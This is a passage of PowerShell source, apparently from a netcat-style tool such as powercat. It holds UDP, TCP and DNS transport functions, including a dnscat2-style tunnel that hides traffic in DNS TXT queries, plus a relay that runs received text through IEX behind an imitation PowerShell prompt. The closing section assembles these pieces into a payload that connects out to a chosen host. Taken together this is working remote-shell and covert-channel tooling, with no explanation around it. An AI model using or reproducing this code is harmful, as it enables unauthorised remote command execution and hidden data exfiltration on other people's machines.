|
||||
$SocketBytesRead = $FuncVars["Socket"].Client.EndReceiveMessageFrom($ConnectHandle,[ref]([System.Net.Sockets.SocketFlags]::None),[ref]$EndPoint,[ref]$PacketInfo)
|
||||
Write-Verbose ("Connection from [" + $EndPoint.Address.IPAddressToString + "] port " + $p + " [udp] accepted (source port " + $EndPoint.Port + ")")
|
||||
if($SocketBytesRead -gt 0){break}
|
||||
else{break}
|
||||
}
|
||||
}
|
||||
$Stopwatch.Stop()
|
||||
$FuncVars["InitialConnectionBytes"] = $SocketDestinationBuffer[0..([int]$SocketBytesRead-1)]
|
||||
}
|
||||
else
|
||||
{
|
||||
if(!$c.Contains("."))
|
||||
{
|
||||
$IPList = @()
|
||||
[System.Net.Dns]::GetHostAddresses($c) | Where-Object {$_.AddressFamily -eq "InterNetwork"} | %{$IPList += $_.IPAddressToString}
|
||||
Write-Verbose ("Name " + $c + " resolved to address " + $IPList[0])
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($IPList[0])), $p
|
||||
}
|
||||
else
|
||||
{
|
||||
$EndPoint = New-Object System.Net.IPEndPoint ([System.Net.IPAddress]::Parse($c)), $p
|
||||
}
|
||||
$FuncVars["Socket"] = New-Object System.Net.Sockets.UDPClient
|
||||
$FuncVars["Socket"].Connect($c,$p)
|
||||
Write-Verbose ("Sending UDP traffic to " + $c + " port " + $p + "...")
|
||||
Write-Verbose ("UDP: Make sure to send some data so the server can notice you!")
|
||||
}
|
||||
$FuncVars["BufferSize"] = 65536
|
||||
$FuncVars["EndPoint"] = $EndPoint
|
||||
$FuncVars["StreamDestinationBuffer"] = New-Object System.Byte[] $FuncVars["BufferSize"]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_UDP
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($FuncVars["StreamReadOperation"].IsCompleted)
|
||||
{
|
||||
$StreamBytesRead = $FuncVars["Socket"].Client.EndReceiveFrom($FuncVars["StreamReadOperation"],[ref]$FuncVars["EndPoint"])
|
||||
if($StreamBytesRead -eq 0){break}
|
||||
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Socket"].Client.BeginReceiveFrom($FuncVars["StreamDestinationBuffer"],0,$FuncVars["BufferSize"],([System.Net.Sockets.SocketFlags]::None),[ref]$FuncVars["EndPoint"],$null,$null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_UDP
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Socket"].Client.SendTo($Data,$FuncVars["EndPoint"]) | Out-Null
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_UDP
|
||||
{
|
||||
param($FuncVars)
|
||||
$FuncVars["Socket"].Close()
|
||||
}
|
||||
############### UDP FUNCTIONS ###############
|
||||
|
||||
############### DNS FUNCTIONS ###############
|
||||
function Setup_DNS
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
function ConvertTo-HexArray
|
||||
{
|
||||
param($String)
|
||||
$Hex = @()
|
||||
$String.ToCharArray() | % {"{0:x}" -f [byte]$_} | % {if($_.Length -eq 1){"0" + [string]$_} else{[string]$_}} | % {$Hex += $_}
|
||||
return $Hex
|
||||
}
|
||||
|
||||
function SendPacket
|
||||
{
|
||||
param($Packet,$DNSServer,$DNSPort)
|
||||
$Command = ("set type=TXT`nserver $DNSServer`nset port=$DNSPort`nset domain=.com`nset retry=1`n" + $Packet + "`nexit")
|
||||
$result = ($Command | nslookup 2>&1 | Out-String)
|
||||
if($result.Contains('"')){return ([regex]::Match($result.replace("bio=",""),'(?<=")[^"]*(?=")').Value)}
|
||||
else{return 1}
|
||||
}
|
||||
|
||||
function Create_SYN
|
||||
{
|
||||
param($SessionId,$SeqNum,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "00" + $SessionId + $SeqNum + "0000" + $Domain)
|
||||
}
|
||||
|
||||
function Create_FIN
|
||||
{
|
||||
param($SessionId,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "02" + $SessionId + "00" + $Domain)
|
||||
}
|
||||
|
||||
function Create_MSG
|
||||
{
|
||||
param($SessionId,$SeqNum,$AcknowledgementNumber,$Data,$Tag,$Domain)
|
||||
return ($Tag + ([string](Get-Random -Maximum 9999 -Minimum 1000)) + "01" + $SessionId + $SeqNum + $AcknowledgementNumber + $Data + $Domain)
|
||||
}
|
||||
|
||||
function DecodePacket
|
||||
{
|
||||
param($Packet)
|
||||
|
||||
if((($Packet.Length)%2 -eq 1) -or ($Packet.Length -eq 0)){return 1}
|
||||
$AcknowledgementNumber = ($Packet[10..13] -join "")
|
||||
$SeqNum = ($Packet[14..17] -join "")
|
||||
[byte[]]$ReturningData = @()
|
||||
|
||||
if($Packet.Length -gt 18)
|
||||
{
|
||||
$PacketElim = $Packet.Substring(18)
|
||||
while($PacketElim.Length -gt 0)
|
||||
{
|
||||
$ReturningData += [byte[]][Convert]::ToInt16(($PacketElim[0..1] -join ""),16)
|
||||
$PacketElim = $PacketElim.Substring(2)
|
||||
}
|
||||
}
|
||||
|
||||
return $Packet,$ReturningData,$AcknowledgementNumber,$SeqNum
|
||||
}
|
||||
|
||||
function AcknowledgeData
|
||||
{
|
||||
param($ReturningData,$AcknowledgementNumber)
|
||||
$Hex = [string]("{0:x}" -f (([uint16]("0x" + $AcknowledgementNumber) + $ReturningData.Length) % 65535))
|
||||
if($Hex.Length -ne 4){$Hex = (("0"*(4-$Hex.Length)) + $Hex)}
|
||||
return $Hex
|
||||
}
|
||||
$FuncVars = @{}
|
||||
$FuncVars["DNSServer"],$FuncVars["DNSPort"],$FuncVars["Domain"],$FuncVars["FailureThreshold"] = $FuncSetupVars
|
||||
if($FuncVars["DNSPort"] -eq ''){$FuncVars["DNSPort"] = "53"}
|
||||
$FuncVars["Tag"] = ""
|
||||
$FuncVars["Domain"] = ("." + $FuncVars["Domain"])
|
||||
|
||||
$FuncVars["Create_SYN"] = ${function:Create_SYN}
|
||||
$FuncVars["Create_MSG"] = ${function:Create_MSG}
|
||||
$FuncVars["Create_FIN"] = ${function:Create_FIN}
|
||||
$FuncVars["DecodePacket"] = ${function:DecodePacket}
|
||||
$FuncVars["ConvertTo-HexArray"] = ${function:ConvertTo-HexArray}
|
||||
$FuncVars["AckData"] = ${function:AcknowledgeData}
|
||||
$FuncVars["SendPacket"] = ${function:SendPacket}
|
||||
$FuncVars["SessionId"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
|
||||
$FuncVars["SeqNum"] = ([string](Get-Random -Maximum 9999 -Minimum 1000))
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["Failures"] = 0
|
||||
|
||||
$SYNPacket = (Invoke-Command $FuncVars["Create_SYN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["Tag"],$FuncVars["Domain"]))
|
||||
$ResponsePacket = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($SYNPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))
|
||||
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($ResponsePacket))
|
||||
if($DecodedPacket -eq 1){return "Bad SYN response. Ensure your server is set up correctly."}
|
||||
$ReturningData = $DecodedPacket[1]
|
||||
if($ReturningData -ne ""){$FuncVars["InputData"] = ""}
|
||||
$FuncVars["AckNum"] = $DecodedPacket[2]
|
||||
$FuncVars["MaxMSGDataSize"] = (244 - (Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],"",$FuncVars["Tag"],$FuncVars["Domain"])).Length)
|
||||
if($FuncVars["MaxMSGDataSize"] -le 0){return "Domain name is too long."}
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_DNS
|
||||
{
|
||||
param($FuncVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
|
||||
$PacketsData = @()
|
||||
$PacketData = ""
|
||||
|
||||
if($FuncVars["InputData"] -ne $null)
|
||||
{
|
||||
$Hex = (Invoke-Command $FuncVars["ConvertTo-HexArray"] -ArgumentList @($FuncVars["InputData"]))
|
||||
$SectionCount = 0
|
||||
$PacketCount = 0
|
||||
foreach($Char in $Hex)
|
||||
{
|
||||
if($SectionCount -ge 30)
|
||||
{
|
||||
$SectionCount = 0
|
||||
$PacketData += "."
|
||||
}
|
||||
if($PacketCount -ge ($FuncVars["MaxMSGDataSize"]))
|
||||
{
|
||||
$PacketsData += $PacketData.TrimEnd(".")
|
||||
$PacketCount = 0
|
||||
$SectionCount = 0
|
||||
$PacketData = ""
|
||||
}
|
||||
$PacketData += $Char
|
||||
$SectionCount += 2
|
||||
$PacketCount += 2
|
||||
}
|
||||
$PacketData = $PacketData.TrimEnd(".")
|
||||
$PacketsData += $PacketData
|
||||
$FuncVars["InputData"] = ""
|
||||
}
|
||||
else
|
||||
{
|
||||
$PacketsData = @("")
|
||||
}
|
||||
|
||||
[byte[]]$ReturningData = @()
|
||||
foreach($PacketData in $PacketsData)
|
||||
{
|
||||
try{$MSGPacket = Invoke-Command $FuncVars["Create_MSG"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["SeqNum"],$FuncVars["AckNum"],$PacketData,$FuncVars["Tag"],$FuncVars["Domain"])}
|
||||
catch{ Write-Verbose "DNSCAT2: Failed to create packet." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
try{$Packet = (Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($MSGPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]))}
|
||||
catch{ Write-Verbose "DNSCAT2: Failed to send packet." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
try
|
||||
{
|
||||
$DecodedPacket = (Invoke-Command $FuncVars["DecodePacket"] -ArgumentList @($Packet))
|
||||
if($DecodedPacket.Length -ne 4){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..."; $FuncVars["Failures"] += 1 ; continue }
|
||||
$FuncVars["AckNum"] = $DecodedPacket[2]
|
||||
$FuncVars["SeqNum"] = $DecodedPacket[3]
|
||||
$ReturningData += $DecodedPacket[1]
|
||||
}
|
||||
catch{ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
if($DecodedPacket -eq 1){ Write-Verbose "DNSCAT2: Failure to decode packet, dropping..." ; $FuncVars["Failures"] += 1 ; continue }
|
||||
}
|
||||
|
||||
if($FuncVars["Failures"] -ge $FuncVars["FailureThreshold"]){break}
|
||||
|
||||
if($ReturningData -ne @())
|
||||
{
|
||||
$FuncVars["AckNum"] = (Invoke-Command $FuncVars["AckData"] -ArgumentList @($ReturningData,$FuncVars["AckNum"]))
|
||||
}
|
||||
return $ReturningData,$FuncVars
|
||||
}
|
||||
function WriteData_DNS
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["InputData"] = $FuncVars["Encoding"].GetString($Data)
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_DNS
|
||||
{
|
||||
param($FuncVars)
|
||||
$FINPacket = Invoke-Command $FuncVars["Create_FIN"] -ArgumentList @($FuncVars["SessionId"],$FuncVars["Tag"],$FuncVars["Domain"])
|
||||
Invoke-Command $FuncVars["SendPacket"] -ArgumentList @($FINPacket,$FuncVars["DNSServer"],$FuncVars["DNSPort"]) | Out-Null
|
||||
}
|
||||
############### DNS FUNCTIONS ###############
|
||||
|
||||
########## TCP FUNCTIONS ##########
|
||||
function Setup_TCP
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
$c,$l,$p,$t = $FuncSetupVars
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$FuncVars = @{}
|
||||
if(!$l)
|
||||
{
|
||||
$FuncVars["l"] = $False
|
||||
$Socket = New-Object System.Net.Sockets.TcpClient
|
||||
Write-Verbose "Connecting..."
|
||||
$Handle = $Socket.BeginConnect($c,$p,$null,$null)
|
||||
}
|
||||
else
|
||||
{
|
||||
$FuncVars["l"] = $True
|
||||
Write-Verbose ("Listening on [0.0.0.0] (port " + $p + ")")
|
||||
$Socket = New-Object System.Net.Sockets.TcpListener $p
|
||||
$Socket.Start()
|
||||
$Handle = $Socket.BeginAcceptTcpClient($null, $null)
|
||||
}
|
||||
|
||||
$Stopwatch = [System.Diagnostics.Stopwatch]::StartNew()
|
||||
while($True)
|
||||
{
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
if(@(17,27) -contains ($Host.UI.RawUI.ReadKey("NoEcho,IncludeKeyDown,IncludeKeyUp").VirtualKeyCode))
|
||||
{
|
||||
Write-Verbose "CTRL or ESC caught. Stopping TCP Setup..."
|
||||
if($FuncVars["l"]){$Socket.Stop()}
|
||||
else{$Socket.Close()}
|
||||
$Stopwatch.Stop()
|
||||
break
|
||||
}
|
||||
}
|
||||
if($Stopwatch.Elapsed.TotalSeconds -gt $t)
|
||||
{
|
||||
if(!$l){$Socket.Close()}
|
||||
else{$Socket.Stop()}
|
||||
$Stopwatch.Stop()
|
||||
Write-Verbose "Timeout!" ; break
|
||||
break
|
||||
}
|
||||
if($Handle.IsCompleted)
|
||||
{
|
||||
if(!$l)
|
||||
{
|
||||
try
|
||||
{
|
||||
$Socket.EndConnect($Handle)
|
||||
$Stream = $Socket.GetStream()
|
||||
$BufferSize = $Socket.ReceiveBufferSize
|
||||
Write-Verbose ("Connection to " + $c + ":" + $p + " [tcp] succeeded!")
|
||||
}
|
||||
catch{$Socket.Close(); $Stopwatch.Stop(); break}
|
||||
}
|
||||
else
|
||||
{
|
||||
$Client = $Socket.EndAcceptTcpClient($Handle)
|
||||
$Stream = $Client.GetStream()
|
||||
$BufferSize = $Client.ReceiveBufferSize
|
||||
Write-Verbose ("Connection from [" + $Client.Client.RemoteEndPoint.Address.IPAddressToString + "] port " + $port + " [tcp] accepted (source port " + $Client.Client.RemoteEndPoint.Port + ")")
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
$Stopwatch.Stop()
|
||||
if($Socket -eq $null){break}
|
||||
$FuncVars["Stream"] = $Stream
|
||||
$FuncVars["Socket"] = $Socket
|
||||
$FuncVars["BufferSize"] = $BufferSize
|
||||
$FuncVars["StreamDestinationBuffer"] = (New-Object System.Byte[] $FuncVars["BufferSize"])
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["StreamBytesRead"] = 1
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_TCP
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($FuncVars["StreamBytesRead"] -eq 0){break}
|
||||
if($FuncVars["StreamReadOperation"].IsCompleted)
|
||||
{
|
||||
$StreamBytesRead = $FuncVars["Stream"].EndRead($FuncVars["StreamReadOperation"])
|
||||
if($StreamBytesRead -eq 0){break}
|
||||
$Data = $FuncVars["StreamDestinationBuffer"][0..([int]$StreamBytesRead-1)]
|
||||
$FuncVars["StreamReadOperation"] = $FuncVars["Stream"].BeginRead($FuncVars["StreamDestinationBuffer"], 0, $FuncVars["BufferSize"], $null, $null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_TCP
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Stream"].Write($Data, 0, $Data.Length)
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_TCP
|
||||
{
|
||||
param($FuncVars)
|
||||
try{$FuncVars["Stream"].Close()}
|
||||
catch{}
|
||||
if($FuncVars["l"]){$FuncVars["Socket"].Stop()}
|
||||
else{$FuncVars["Socket"].Close()}
|
||||
}
|
||||
########## TCP FUNCTIONS ##########
|
||||
|
||||
########## CMD FUNCTIONS ##########
|
||||
function Setup_CMD
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
if($global:Verbose){$Verbose = $True}
|
||||
$FuncVars = @{}
|
||||
$ProcessStartInfo = New-Object System.Diagnostics.ProcessStartInfo
|
||||
$ProcessStartInfo.FileName = $FuncSetupVars[0]
|
||||
$ProcessStartInfo.UseShellExecute = $False
|
||||
$ProcessStartInfo.RedirectStandardInput = $True
|
||||
$ProcessStartInfo.RedirectStandardOutput = $True
|
||||
$ProcessStartInfo.RedirectStandardError = $True
|
||||
$FuncVars["Process"] = [System.Diagnostics.Process]::Start($ProcessStartInfo)
|
||||
Write-Verbose ("Starting Process " + $FuncSetupVars[0] + "...")
|
||||
$FuncVars["Process"].Start() | Out-Null
|
||||
$FuncVars["StdOutDestinationBuffer"] = New-Object System.Byte[] 65536
|
||||
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
||||
$FuncVars["StdErrDestinationBuffer"] = New-Object System.Byte[] 65536
|
||||
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_CMD
|
||||
{
|
||||
param($FuncVars)
|
||||
[byte[]]$Data = @()
|
||||
if($FuncVars["StdOutReadOperation"].IsCompleted)
|
||||
{
|
||||
$StdOutBytesRead = $FuncVars["Process"].StandardOutput.BaseStream.EndRead($FuncVars["StdOutReadOperation"])
|
||||
if($StdOutBytesRead -eq 0){break}
|
||||
$Data += $FuncVars["StdOutDestinationBuffer"][0..([int]$StdOutBytesRead-1)]
|
||||
$FuncVars["StdOutReadOperation"] = $FuncVars["Process"].StandardOutput.BaseStream.BeginRead($FuncVars["StdOutDestinationBuffer"], 0, 65536, $null, $null)
|
||||
}
|
||||
if($FuncVars["StdErrReadOperation"].IsCompleted)
|
||||
{
|
||||
$StdErrBytesRead = $FuncVars["Process"].StandardError.BaseStream.EndRead($FuncVars["StdErrReadOperation"])
|
||||
if($StdErrBytesRead -eq 0){break}
|
||||
$Data += $FuncVars["StdErrDestinationBuffer"][0..([int]$StdErrBytesRead-1)]
|
||||
$FuncVars["StdErrReadOperation"] = $FuncVars["Process"].StandardError.BaseStream.BeginRead($FuncVars["StdErrDestinationBuffer"], 0, 65536, $null, $null)
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_CMD
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
$FuncVars["Process"].StandardInput.WriteLine($FuncVars["Encoding"].GetString($Data).TrimEnd("`r").TrimEnd("`n"))
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_CMD
|
||||
{
|
||||
param($FuncVars)
|
||||
$FuncVars["Process"] | Stop-Process
|
||||
}
|
||||
########## CMD FUNCTIONS ##########
|
||||
|
||||
########## POWERSHELL FUNCTIONS ##########
|
||||
function Main_Powershell
|
||||
{
|
||||
param($Stream1SetupVars)
|
||||
try
|
||||
{
|
||||
$encoding = New-Object System.Text.AsciiEncoding
|
||||
[byte[]]$InputToWrite = @()
|
||||
if($i -ne $null)
|
||||
{
|
||||
Write-Verbose "Input from -i detected..."
|
||||
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
|
||||
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
||||
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
||||
else{Write-Host "Unrecognised input type." ; return}
|
||||
}
|
||||
|
||||
Write-Verbose "Setting up Stream 1... (ESC/CTRL to exit)"
|
||||
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
||||
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
||||
|
||||
Write-Verbose "Setting up Stream 2... (ESC/CTRL to exit)"
|
||||
try
|
||||
{
|
||||
$IntroPrompt = $Encoding.GetBytes("Windows PowerShell`nCopyright (C) 2013 Microsoft Corporation. All rights reserved.`n`n" + ("PS " + (pwd).Path + "> "))
|
||||
$Prompt = ("PS " + (pwd).Path + "> ")
|
||||
$CommandToExecute = ""
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Stream 2 Setup Failure" ; return
|
||||
}
|
||||
|
||||
if($InputToWrite -ne @())
|
||||
{
|
||||
Write-Verbose "Writing input to Stream 1..."
|
||||
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
||||
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
||||
}
|
||||
|
||||
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
||||
|
||||
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
||||
while($True)
|
||||
{
|
||||
try
|
||||
{
|
||||
##### Stream2 Read #####
|
||||
$Prompt = $null
|
||||
$ReturnedData = $null
|
||||
if($CommandToExecute -ne "")
|
||||
{
|
||||
try{[byte[]]$ReturnedData = $Encoding.GetBytes((IEX $CommandToExecute 2>&1 | Out-String))}
|
||||
catch{[byte[]]$ReturnedData = $Encoding.GetBytes(($_ | Out-String))}
|
||||
$Prompt = $Encoding.GetBytes(("PS " + (pwd).Path + "> "))
|
||||
}
|
||||
$Data += $IntroPrompt
|
||||
$IntroPrompt = $null
|
||||
$Data += $ReturnedData
|
||||
$Data += $Prompt
|
||||
$CommandToExecute = ""
|
||||
##### Stream2 Read #####
|
||||
|
||||
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
||||
if($Data.Length -eq 0){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$CommandToExecute = $Encoding.GetString($Data)}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
Write-Verbose "Closing Stream 1..."
|
||||
Stream1_Close $Stream1Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 1"
|
||||
}
|
||||
}
|
||||
}
|
||||
########## POWERSHELL FUNCTIONS ##########
|
||||
|
||||
########## CONSOLE FUNCTIONS ##########
|
||||
function Setup_Console
|
||||
{
|
||||
param($FuncSetupVars)
|
||||
$FuncVars = @{}
|
||||
$FuncVars["Encoding"] = New-Object System.Text.AsciiEncoding
|
||||
$FuncVars["Output"] = $FuncSetupVars[0]
|
||||
$FuncVars["OutputBytes"] = [byte[]]@()
|
||||
$FuncVars["OutputString"] = ""
|
||||
return $FuncVars
|
||||
}
|
||||
function ReadData_Console
|
||||
{
|
||||
param($FuncVars)
|
||||
$Data = $null
|
||||
if($Host.UI.RawUI.KeyAvailable)
|
||||
{
|
||||
$Data = $FuncVars["Encoding"].GetBytes((Read-Host) + "`n")
|
||||
}
|
||||
return $Data,$FuncVars
|
||||
}
|
||||
function WriteData_Console
|
||||
{
|
||||
param($Data,$FuncVars)
|
||||
switch($FuncVars["Output"])
|
||||
{
|
||||
"Host" {Write-Host -n $FuncVars["Encoding"].GetString($Data)}
|
||||
"String" {$FuncVars["OutputString"] += $FuncVars["Encoding"].GetString($Data)}
|
||||
"Bytes" {$FuncVars["OutputBytes"] += $Data}
|
||||
}
|
||||
return $FuncVars
|
||||
}
|
||||
function Close_Console
|
||||
{
|
||||
param($FuncVars)
|
||||
if($FuncVars["OutputString"] -ne ""){return $FuncVars["OutputString"]}
|
||||
elseif($FuncVars["OutputBytes"] -ne @()){return $FuncVars["OutputBytes"]}
|
||||
return
|
||||
}
|
||||
########## CONSOLE FUNCTIONS ##########
|
||||
|
||||
########## MAIN FUNCTION ##########
|
||||
function Main
|
||||
{
|
||||
param($Stream1SetupVars,$Stream2SetupVars)
|
||||
try
|
||||
{
|
||||
[byte[]]$InputToWrite = @()
|
||||
$Encoding = New-Object System.Text.AsciiEncoding
|
||||
if($i -ne $null)
|
||||
{
|
||||
Write-Verbose "Input from -i detected..."
|
||||
if(Test-Path $i){ [byte[]]$InputToWrite = ([io.file]::ReadAllBytes($i)) }
|
||||
elseif($i.GetType().Name -eq "Byte[]"){ [byte[]]$InputToWrite = $i }
|
||||
elseif($i.GetType().Name -eq "String"){ [byte[]]$InputToWrite = $Encoding.GetBytes($i) }
|
||||
else{Write-Host "Unrecognised input type." ; return}
|
||||
}
|
||||
|
||||
Write-Verbose "Setting up Stream 1..."
|
||||
try{$Stream1Vars = Stream1_Setup $Stream1SetupVars}
|
||||
catch{Write-Verbose "Stream 1 Setup Failure" ; return}
|
||||
|
||||
Write-Verbose "Setting up Stream 2..."
|
||||
try{$Stream2Vars = Stream2_Setup $Stream2SetupVars}
|
||||
catch{Write-Verbose "Stream 2 Setup Failure" ; return}
|
||||
|
||||
$Data = $null
|
||||
|
||||
if($InputToWrite -ne @())
|
||||
{
|
||||
Write-Verbose "Writing input to Stream 1..."
|
||||
try{$Stream1Vars = Stream1_WriteData $InputToWrite $Stream1Vars}
|
||||
catch{Write-Host "Failed to write input to Stream 1" ; return}
|
||||
}
|
||||
|
||||
if($d){Write-Verbose "-d (disconnect) Activated. Disconnecting..." ; return}
|
||||
|
||||
Write-Verbose "Both Communication Streams Established. Redirecting Data Between Streams..."
|
||||
while($True)
|
||||
{
|
||||
try
|
||||
{
|
||||
$Data,$Stream2Vars = Stream2_ReadData $Stream2Vars
|
||||
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$Stream1Vars = Stream1_WriteData $Data $Stream1Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 2 to Stream 1" ; return
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
$Data,$Stream1Vars = Stream1_ReadData $Stream1Vars
|
||||
if(($Data.Length -eq 0) -or ($Data -eq $null)){Start-Sleep -Milliseconds 100}
|
||||
if($Data -ne $null){$Stream2Vars = Stream2_WriteData $Data $Stream2Vars}
|
||||
$Data = $null
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to redirect data from Stream 1 to Stream 2" ; return
|
||||
}
|
||||
}
|
||||
}
|
||||
finally
|
||||
{
|
||||
try
|
||||
{
|
||||
#Write-Verbose "Closing Stream 2..."
|
||||
Stream2_Close $Stream2Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 2"
|
||||
}
|
||||
try
|
||||
{
|
||||
#Write-Verbose "Closing Stream 1..."
|
||||
Stream1_Close $Stream1Vars
|
||||
}
|
||||
catch
|
||||
{
|
||||
Write-Verbose "Failed to close Stream 1"
|
||||
}
|
||||
}
|
||||
}
|
||||
########## MAIN FUNCTION ##########
|
||||
|
||||
########## GENERATE PAYLOAD ##########
|
||||
if($u)
|
||||
{
|
||||
Write-Verbose "Set Stream 1: UDP"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_UDP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_UDP} + "`n}`n`n")
|
||||
if($l){$InvokeString = "Main @('',`$True,'$p','$t') "}
|
||||
else{$InvokeString = "Main @('$c',`$False,'$p','$t') "}
|
||||
}
|
||||
elseif($dns -ne "")
|
||||
{
|
||||
Write-Verbose "Set Stream 1: DNS"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_DNS} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_DNS} + "`n}`n`n")
|
||||
if($l){return "This feature is not available."}
|
||||
else{$InvokeString = "Main @('$c','$p','$dns',$dnsft) "}
|
||||
}
|
||||
else
|
||||
{
|
||||
Write-Verbose "Set Stream 1: TCP"
|
||||
$FunctionString = ("function Stream1_Setup`n{`n" + ${function:Setup_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_ReadData`n{`n" + ${function:ReadData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_WriteData`n{`n" + ${function:WriteData_TCP} + "`n}`n`n")
|
||||
$FunctionString += ("function Stream1_Close`n{`n" + ${function:Close_TCP} + "`n}`n`n")
|
||||
if($l){$InvokeString = "Main @('',`$True,$p,$t) "}
|
||||
else{$InvokeString = "Main @('$c',`$False,$p,$t) "}
|
||||
}
|
||||
|
||||
